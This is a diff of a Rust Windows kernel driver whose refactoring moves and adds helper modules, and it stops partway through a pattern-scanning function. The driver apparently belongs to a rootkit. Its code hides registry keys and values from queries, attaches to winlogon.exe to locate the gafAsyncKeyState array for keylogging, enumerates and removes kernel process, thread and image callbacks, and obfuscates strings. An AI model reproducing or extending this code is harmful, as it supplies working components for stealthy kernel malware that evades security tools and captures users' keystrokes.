|
||||
|
||||
|
||||
@@ -1,10 +1,7 @@
|
||||
#![cfg(not(feature = "mapper"))]
|
||||
|
||||
use {
|
||||
crate::{
|
||||
handle_registry,
|
||||
registry::{Registry, utils::KeyListType}
|
||||
},
|
||||
crate::{handle_registry,registry::{Registry, utils::KeyListType}},
|
||||
shared::structs::TargetRegistry,
|
||||
crate::utils::ioctls::IoctlHandler,
|
||||
alloc::boxed::Box,
|
||||
|
||||
@@ -18,10 +18,12 @@ use {
|
||||
/// Checks if the key is present.
|
||||
///
|
||||
/// # Parameters
|
||||
///
|
||||
/// - `info`: Pointer to the record operation information structure.
|
||||
/// - `key`: Name of the key to be checked.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// - `bool`: Returns `true` if the key is found, otherwise `false`.
|
||||
///
|
||||
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
||||
@@ -29,10 +31,8 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String)
|
||||
match (*info_class).KeyInformationClass {
|
||||
KeyBasicInformation => {
|
||||
let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION;
|
||||
let name = from_raw_parts(
|
||||
(*basic_information).Name.as_ptr(),
|
||||
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
|
||||
);
|
||||
let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
|
||||
|
||||
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
||||
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
||||
return true
|
||||
@@ -40,10 +40,8 @@ pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String)
|
||||
},
|
||||
KeyNameInformation => {
|
||||
let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION;
|
||||
let name = from_raw_parts(
|
||||
(*basic_information).Name.as_ptr(),
|
||||
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
|
||||
);
|
||||
let name = from_raw_parts((*basic_information).Name.as_ptr(), ((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
|
||||
|
||||
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
||||
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
||||
return true
|
||||
@@ -69,10 +67,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
|
||||
match (*info_class).KeyValueInformationClass {
|
||||
KeyValueBasicInformation => {
|
||||
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION;
|
||||
let name = from_raw_parts(
|
||||
(*value).Name.as_ptr(),
|
||||
((*value).NameLength / size_of::<u16>() as u32) as usize,
|
||||
);
|
||||
let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::<u16>() as u32) as usize);
|
||||
let value = String::from_utf16_lossy(name);
|
||||
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||
return true
|
||||
@@ -80,10 +75,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
|
||||
},
|
||||
KeyValueFullInformationAlign64 => {
|
||||
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
|
||||
let name = from_raw_parts(
|
||||
(*value).Name.as_ptr(),
|
||||
((*value).NameLength / size_of::<u16>() as u32) as usize,
|
||||
);
|
||||
let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::<u16>() as u32) as usize);
|
||||
|
||||
let value = String::from_utf16_lossy(name);
|
||||
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||
@@ -93,10 +85,7 @@ pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: St
|
||||
},
|
||||
KeyValueFullInformation => {
|
||||
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
|
||||
let name = from_raw_parts(
|
||||
(*value).Name.as_ptr(),
|
||||
((*value).NameLength / size_of::<u16>() as u32) as usize,
|
||||
);
|
||||
let name = from_raw_parts((*value).Name.as_ptr(), ((*value).NameLength / size_of::<u16>() as u32) as usize,);
|
||||
|
||||
let value = String::from_utf16_lossy(name);
|
||||
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||
|
||||
@@ -42,6 +42,7 @@ impl Thread {
|
||||
/// # Returns
|
||||
/// - `Option<Self>`: Returns `Some(Self)` if the process lookup is successful, otherwise `None`.
|
||||
///
|
||||
#[inline]
|
||||
pub fn new(tid: usize) -> Option<Self> {
|
||||
let mut thread = core::ptr::null_mut();
|
||||
|
||||
|
||||
139
driver/src/utils/address.rs
Normal file
139
driver/src/utils/address.rs
Normal file
@@ -0,0 +1,139 @@
|
||||
use {
|
||||
obfstr::obfstr,
|
||||
ntapi::ntzwapi::ZwQuerySystemInformation,
|
||||
super::{get_process_by_name, pool::PoolMemory},
|
||||
crate::{process::Process, utils::SystemModuleInformation},
|
||||
core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts},
|
||||
wdk_sys::{
|
||||
ntddk::{
|
||||
KeStackAttachProcess,
|
||||
KeUnstackDetachProcess
|
||||
},
|
||||
KAPC_STATE, NT_SUCCESS, POOL_FLAG_NON_PAGED,
|
||||
},
|
||||
winapi::um::winnt::{RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, IMAGE_NT_HEADERS64}
|
||||
};
|
||||
|
||||
/// Gets the base address of a specified module.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `module_name`: A string slice containing the name of the module.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found.
|
||||
///
|
||||
pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> {
|
||||
let mut return_bytes = 0;
|
||||
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
|
||||
|
||||
let info_module = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"dsdx"))
|
||||
.map(|mem| mem.ptr as *mut SystemModuleInformation)
|
||||
.or_else(|| {
|
||||
log::error!("PoolMemory (SystemModuleInformation) Failed");
|
||||
None
|
||||
})?;
|
||||
|
||||
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
|
||||
|
||||
let status = ZwQuerySystemInformation(
|
||||
SystemModuleInformation,
|
||||
info_module as *mut winapi::ctypes::c_void,
|
||||
return_bytes,
|
||||
&mut return_bytes
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}");
|
||||
return None;
|
||||
}
|
||||
|
||||
let module_count = (*info_module).modules_count;
|
||||
|
||||
for i in 0..module_count as usize {
|
||||
let name = (*info_module).modules[i].image_name;
|
||||
let module_base = (*info_module).modules[i].image_base as *mut c_void;
|
||||
if let Ok(name_str) = core::str::from_utf8(&name) {
|
||||
if name_str.contains(module_name) {
|
||||
return Some(module_base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Gets the address of a specified function within a module.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `function_name`: A string slice containing the name of the function.
|
||||
/// - `dll_base`: A pointer to the base address of the DLL.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||
///
|
||||
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
|
||||
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
|
||||
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
|
||||
if name == function_name {
|
||||
return Some(address);
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `name`: A string slice containing the name `gafAsyncKeyState`.
|
||||
/// - `dll_base`: A pointer to the base address of the DLL.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||
///
|
||||
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
|
||||
Some(p) => p,
|
||||
None => return None
|
||||
};
|
||||
|
||||
let target = match Process::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return None
|
||||
};
|
||||
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
|
||||
let dll_base = dll_base as usize;
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
||||
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
||||
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
||||
if name_module == name {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Some(address);
|
||||
}
|
||||
}
|
||||
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
None
|
||||
}
|
||||
28
driver/src/utils/handles.rs
Normal file
28
driver/src/utils/handles.rs
Normal file
@@ -0,0 +1,28 @@
|
||||
use wdk_sys::{ntddk::ZwClose, HANDLE};
|
||||
|
||||
pub struct Handle(HANDLE);
|
||||
|
||||
impl Handle {
|
||||
/// Create new instance `Handle`.
|
||||
#[inline]
|
||||
pub fn new(handle: HANDLE) -> Self {
|
||||
Handle(handle)
|
||||
}
|
||||
|
||||
/// Return handle.
|
||||
#[inline]
|
||||
pub fn get(&self) -> HANDLE {
|
||||
self.0
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for Handle {
|
||||
#[inline]
|
||||
fn drop(&mut self) {
|
||||
if !self.0.is_null() {
|
||||
unsafe {
|
||||
ZwClose(self.0);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -18,8 +18,12 @@ use {
|
||||
pub type IoctlHandler = Box<dyn Fn(*mut IRP, *mut IO_STACK_LOCATION) -> NTSTATUS + Send + Sync>;
|
||||
|
||||
lazy_static! {
|
||||
pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = {
|
||||
pub static ref IOCTL_MAP: HashMap<u32, IoctlHandler> = load_ioctls();
|
||||
}
|
||||
|
||||
fn load_ioctls() -> HashMap<u32, IoctlHandler> {
|
||||
let mut ioctls = HashMap::new();
|
||||
|
||||
get_process_ioctls(&mut ioctls);
|
||||
get_thread_ioctls(&mut ioctls);
|
||||
get_driver_ioctls(&mut ioctls);
|
||||
@@ -33,5 +37,4 @@ lazy_static! {
|
||||
}
|
||||
|
||||
ioctls
|
||||
};
|
||||
}
|
||||
@@ -166,6 +166,7 @@ macro_rules! handle_callback {
|
||||
($irp:expr, $stack:expr, $input_type:ty, $output_type:ty, $information:expr, $ioctl:expr) => {{
|
||||
use shared::vars::Callbacks;
|
||||
use crate::callbacks::{Callback, CallbackRegistry, CallbackOb, CallbackList};
|
||||
use wdk_sys::STATUS_UNSUCCESSFUL;
|
||||
|
||||
let input_buffer = match crate::utils::get_input_buffer::<$input_type>($stack) {
|
||||
Ok(buffer) => buffer,
|
||||
@@ -177,30 +178,25 @@ macro_rules! handle_callback {
|
||||
Err(status) => return status,
|
||||
};
|
||||
|
||||
let mut status = 0;
|
||||
match $ioctl {
|
||||
IOCTL_ENUMERATE_CALLBACK => {
|
||||
status = match (*input_buffer).callback {
|
||||
let status = match $ioctl {
|
||||
IOCTL_ENUMERATE_CALLBACK => match (*input_buffer).callback {
|
||||
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::ObProcess => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::ObThread => CallbackOb::enumerate_callback(input_buffer, output_buffer, $information),
|
||||
};
|
||||
},
|
||||
IOCTL_ENUMERATE_REMOVED_CALLBACK => {
|
||||
status = match (*input_buffer).callback {
|
||||
IOCTL_ENUMERATE_REMOVED_CALLBACK => match (*input_buffer).callback {
|
||||
Callbacks::PsSetCreateProcessNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::PsSetCreateThreadNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::PsSetLoadImageNotifyRoutine => Callback::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::CmRegisterCallbackEx => CallbackRegistry::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::ObProcess => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
Callbacks::ObThread => CallbackOb::enumerate_removed_callback(input_buffer, output_buffer, $information),
|
||||
};
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
_ => Err(STATUS_UNSUCCESSFUL)
|
||||
};
|
||||
|
||||
status
|
||||
}};
|
||||
|
||||
@@ -1,13 +1,14 @@
|
||||
use {
|
||||
crate::{
|
||||
includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process
|
||||
},
|
||||
alloc::{string::String, vec::Vec, vec},
|
||||
obfstr::obfstr,
|
||||
handles::Handle,
|
||||
pool::PoolMemory,
|
||||
winapi::um::winnt::{IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,IMAGE_NT_HEADERS64},
|
||||
crate::{includes::{structs::SystemModuleInformation, PsGetProcessPeb}, process::Process},
|
||||
alloc::{string::String, vec::Vec},
|
||||
core::{
|
||||
ffi::{c_void, CStr},
|
||||
fmt::Write,
|
||||
mem::{size_of, zeroed},
|
||||
ptr::{null_mut, read, read_unaligned},
|
||||
ptr::{null_mut, read_unaligned},
|
||||
slice::from_raw_parts
|
||||
},
|
||||
ntapi::{
|
||||
@@ -18,14 +19,8 @@ use {
|
||||
ntpebteb::PEB,
|
||||
ntzwapi::ZwQuerySystemInformation
|
||||
},
|
||||
obfstr::obfstr,
|
||||
wdk_sys::{
|
||||
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, _SECTION_INHERIT::ViewUnmap,
|
||||
_POOL_TYPE::NonPagedPool, *
|
||||
},
|
||||
winapi::um::winnt::{
|
||||
RtlZeroMemory, IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY,
|
||||
IMAGE_NT_HEADERS64, IMAGE_SECTION_HEADER
|
||||
ntddk::*, _FILE_INFORMATION_CLASS::FileStandardInformation, *
|
||||
},
|
||||
};
|
||||
|
||||
@@ -43,6 +38,10 @@ pub mod macros;
|
||||
pub mod offsets;
|
||||
pub mod uni;
|
||||
pub mod ioctls;
|
||||
pub mod patterns;
|
||||
pub mod address;
|
||||
pub mod handles;
|
||||
pub mod pool;
|
||||
|
||||
/// Retrieves the input buffer from the given IO stack location.
|
||||
///
|
||||
@@ -80,131 +79,6 @@ pub unsafe fn get_output_buffer<T>(irp: *mut IRP) -> Result<*mut T, NTSTATUS> {
|
||||
}
|
||||
}
|
||||
|
||||
/// Gets the base address of a specified module.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `module_name`: A string slice containing the name of the module.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*mut c_void>`: An optional pointer to the base address of the module, or None if the module is not found.
|
||||
///
|
||||
pub unsafe fn get_module_base_address(module_name: &str) -> Option<*mut c_void> {
|
||||
let mut return_bytes = 0;
|
||||
ZwQuerySystemInformation(SystemModuleInformation, null_mut(), 0, &mut return_bytes);
|
||||
|
||||
let info_module = ExAllocatePool(NonPagedPool, return_bytes as u64) as *mut SystemModuleInformation;
|
||||
if info_module.is_null() {
|
||||
log::error!("ExAllocatePool Failed");
|
||||
return None;
|
||||
}
|
||||
|
||||
RtlZeroMemory(info_module as *mut winapi::ctypes::c_void, return_bytes as usize);
|
||||
|
||||
let status = ZwQuerySystemInformation(
|
||||
SystemModuleInformation,
|
||||
info_module as *mut winapi::ctypes::c_void,
|
||||
return_bytes,
|
||||
&mut return_bytes
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwQuerySystemInformation [2] Failed With Status: {status}");
|
||||
ExFreePool(info_module as _);
|
||||
return None;
|
||||
}
|
||||
|
||||
let module_count = (*info_module).modules_count;
|
||||
|
||||
for i in 0..module_count as usize {
|
||||
let name = (*info_module).modules[i].image_name;
|
||||
let module_base = (*info_module).modules[i].image_base as *mut c_void;
|
||||
if let Ok(name_str) = core::str::from_utf8(&name) {
|
||||
if name_str.contains(module_name) {
|
||||
return Some(module_base);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ExFreePool(info_module as _);
|
||||
None
|
||||
}
|
||||
|
||||
/// Gets the address of a specified function within a module.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `function_name`: A string slice containing the name of the function.
|
||||
/// - `dll_base`: A pointer to the base address of the DLL.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||
///
|
||||
pub unsafe fn get_function_address(function_name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (dll_base as usize + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let export_directory = (dll_base as usize + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _);
|
||||
let functions = from_raw_parts((dll_base as usize + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _);
|
||||
let ordinals = from_raw_parts((dll_base as usize + (*export_directory).AddressOfNameOrdinals as usize) as *const u16,(*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name = CStr::from_ptr((dll_base as usize + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (dll_base as usize + functions[ordinal] as usize) as *mut c_void;
|
||||
if name == function_name {
|
||||
return Some(address);
|
||||
}
|
||||
}
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Get the address of the `gafAsyncKeyState` array within a module in the context of a target process.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `name`: A string slice containing the name `gafAsyncKeyState`.
|
||||
/// - `dll_base`: A pointer to the base address of the DLL.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*mut c_void>`: An optional pointer to the function's address, or None if the function is not found.
|
||||
///
|
||||
pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<*mut c_void> {
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let pid = match get_process_by_name(obfstr!("winlogon.exe")) {
|
||||
Some(p) => p,
|
||||
None => return None
|
||||
};
|
||||
|
||||
let target = match Process::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return None
|
||||
};
|
||||
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
|
||||
let dll_base = dll_base as usize;
|
||||
let dos_header = dll_base as *mut IMAGE_DOS_HEADER;
|
||||
let nt_header = (dll_base + (*dos_header).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
|
||||
|
||||
let export_directory = (dll_base + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((dll_base + (*export_directory).AddressOfNames as usize) as *const u32,(*export_directory).NumberOfNames as _);
|
||||
let functions = from_raw_parts((dll_base + (*export_directory).AddressOfFunctions as usize) as *const u32,(*export_directory).NumberOfFunctions as _);
|
||||
let ordinals = from_raw_parts((dll_base + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name_module = CStr::from_ptr((dll_base + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (dll_base + functions[ordinal] as usize) as *mut c_void;
|
||||
if name_module == name {
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
return Some(address);
|
||||
}
|
||||
}
|
||||
|
||||
KeUnstackDetachProcess(&mut apc_state);
|
||||
|
||||
None
|
||||
}
|
||||
|
||||
/// Retrieves the PID of a process by its name.
|
||||
///
|
||||
/// # Parameters
|
||||
@@ -216,11 +90,12 @@ pub unsafe fn get_address_asynckey(name: &str, dll_base: *mut c_void) -> Option<
|
||||
pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
||||
let mut return_bytes = 0;
|
||||
ZwQuerySystemInformation(SystemProcessInformation, null_mut(), 0, &mut return_bytes);
|
||||
let info_process = ExAllocatePool(NonPagedPool, return_bytes as u64) as PSYSTEM_PROCESS_INFORMATION;
|
||||
if info_process.is_null() {
|
||||
log::error!("ExAllocatePool Failed");
|
||||
return None;
|
||||
}
|
||||
let info_process = PoolMemory::new(POOL_FLAG_NON_PAGED, return_bytes as u64, u32::from_be_bytes(*b"diws"))
|
||||
.map(|mem| mem.ptr as PSYSTEM_PROCESS_INFORMATION)
|
||||
.or_else(|| {
|
||||
log::error!("PoolMemory (Process By Name) Failed");
|
||||
None
|
||||
})?;
|
||||
|
||||
let status = ZwQuerySystemInformation(
|
||||
SystemProcessInformation,
|
||||
@@ -241,7 +116,6 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
||||
let name = String::from_utf16_lossy(image_name);
|
||||
if name == process_name {
|
||||
let pid = (*process_info).UniqueProcessId as usize;
|
||||
ExFreePool(info_process as *mut _);
|
||||
return Some(pid);
|
||||
}
|
||||
}
|
||||
@@ -253,88 +127,9 @@ pub unsafe fn get_process_by_name(process_name: &str) -> Option<usize> {
|
||||
process_info = (process_info as *const u8).add((*process_info).NextEntryOffset as usize) as PSYSTEM_PROCESS_INFORMATION;
|
||||
}
|
||||
|
||||
ExFreePool(info_process as _);
|
||||
None
|
||||
}
|
||||
|
||||
/// Retrieves the syscall index for a given function name.
|
||||
///
|
||||
/// # Parameters
|
||||
/// - `function_name`: The name of the function to retrieve the syscall index for.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<u16>`: The syscall index if found, or `None` if an error occurs or the function is not found.
|
||||
///
|
||||
pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||
let mut section_handle = null_mut();
|
||||
let dll = crate::utils::uni::str_to_unicode("\\KnownDlls\\ntdll.dll");
|
||||
let mut obj_attr = InitializeObjectAttributes(Some(&mut dll.to_unicode()), OBJ_CASE_INSENSITIVE, None, None, None);
|
||||
let mut status = ZwOpenSection(&mut section_handle, SECTION_MAP_READ | SECTION_QUERY, &mut obj_attr);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwOpenSection Failed With Status: {status}");
|
||||
return None
|
||||
}
|
||||
|
||||
let mut large: LARGE_INTEGER = zeroed();
|
||||
let mut ntdll_addr = null_mut();
|
||||
let mut view_size = 0;
|
||||
status = ZwMapViewOfSection(
|
||||
section_handle,
|
||||
0xFFFFFFFFFFFFFFFF as *mut core::ffi::c_void,
|
||||
&mut ntdll_addr,
|
||||
0,
|
||||
0,
|
||||
&mut large,
|
||||
&mut view_size,
|
||||
ViewUnmap,
|
||||
0,
|
||||
PAGE_READONLY,
|
||||
);
|
||||
if !NT_SUCCESS(status) {
|
||||
log::error!("ZwMapViewOfSection Failed With Status: {status}");
|
||||
ZwClose(section_handle);
|
||||
return None
|
||||
}
|
||||
|
||||
|
||||
let dos_header = ntdll_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (ntdll_addr as usize + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
|
||||
let ntdll_addr = ntdll_addr as usize;
|
||||
let export_directory = (ntdll_addr + (*nt_header).OptionalHeader.DataDirectory[0].VirtualAddress as usize) as *const IMAGE_EXPORT_DIRECTORY;
|
||||
let names = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNames as usize) as *const u32, (*export_directory).NumberOfNames as _,);
|
||||
let functions = from_raw_parts((ntdll_addr + (*export_directory).AddressOfFunctions as usize) as *const u32, (*export_directory).NumberOfFunctions as _,);
|
||||
let ordinals = from_raw_parts((ntdll_addr + (*export_directory).AddressOfNameOrdinals as usize) as *const u16, (*export_directory).NumberOfNames as _);
|
||||
|
||||
for i in 0..(*export_directory).NumberOfNames as isize {
|
||||
let name = CStr::from_ptr((ntdll_addr + names[i as usize] as usize) as *const i8).to_str().ok()?;
|
||||
let ordinal = ordinals[i as usize] as usize;
|
||||
let address = (ntdll_addr + functions[ordinal] as usize) as *const u8;
|
||||
if name == function_name {
|
||||
|
||||
if read(address) == 0x4C
|
||||
&& read(address.add(1)) == 0x8B
|
||||
&& read(address.add(2)) == 0xD1
|
||||
&& read(address.add(3)) == 0xB8
|
||||
&& read(address.add(6)) == 0x00
|
||||
&& read(address.add(7)) == 0x00
|
||||
{
|
||||
let high = read(address.add(5)) as u16;
|
||||
let low = read(address.add(4)) as u16;
|
||||
let ssn = (high << 8) | low;
|
||||
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
return Some(ssn);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ZwUnmapViewOfSection(0xFFFFFFFFFFFFFFFF as *mut c_void, ntdll_addr as *mut c_void);
|
||||
ZwClose(section_handle);
|
||||
return None
|
||||
}
|
||||
|
||||
/// Retrieves the address of a specified function within a module in the context of a target process.
|
||||
///
|
||||
/// # Parameters
|
||||
@@ -347,10 +142,7 @@ pub unsafe fn get_syscall_index(function_name: &str) -> Option<u16> {
|
||||
///
|
||||
pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str) -> Option<*mut c_void> {
|
||||
let mut apc_state: KAPC_STATE = core::mem::zeroed();
|
||||
let target = match Process::new(pid) {
|
||||
Some(p) => p,
|
||||
None => return None,
|
||||
};
|
||||
let target = Process::new(pid)?;
|
||||
|
||||
KeStackAttachProcess(target.e_process, &mut apc_state);
|
||||
let target_peb = PsGetProcessPeb(target.e_process) as *mut PEB;
|
||||
@@ -416,98 +208,6 @@ pub unsafe fn get_module_peb(pid: usize, module_name: &str, function_name: &str)
|
||||
None
|
||||
}
|
||||
|
||||
/// Scans memory for a specific pattern of bytes in a specific section.
|
||||
/// # Parameters
|
||||
/// - `base_addr`: The base address (in `usize` format) from which the scan should start.
|
||||
/// - `section_name`: The name of the section to scan. This string must match the name of the section you want to scan.
|
||||
/// - `pattern`: A slice of bytes (`&[u8]`) that represents the pattern you are searching for in memory.
|
||||
///
|
||||
/// # Returns
|
||||
/// - `Option<*const u8>`: The address of the target function if found.
|
||||
///
|
||||
pub unsafe fn scan_for_pattern(base_addr: usize, section_name: &str, pattern: &[u8]) -> Option<*const u8> {
|
||||
let dos_header = base_addr as *const IMAGE_DOS_HEADER;
|
||||
let nt_header = (base_addr + (*dos_header).e_lfanew as usize) as *const IMAGE_NT_HEADERS64;
|
||||
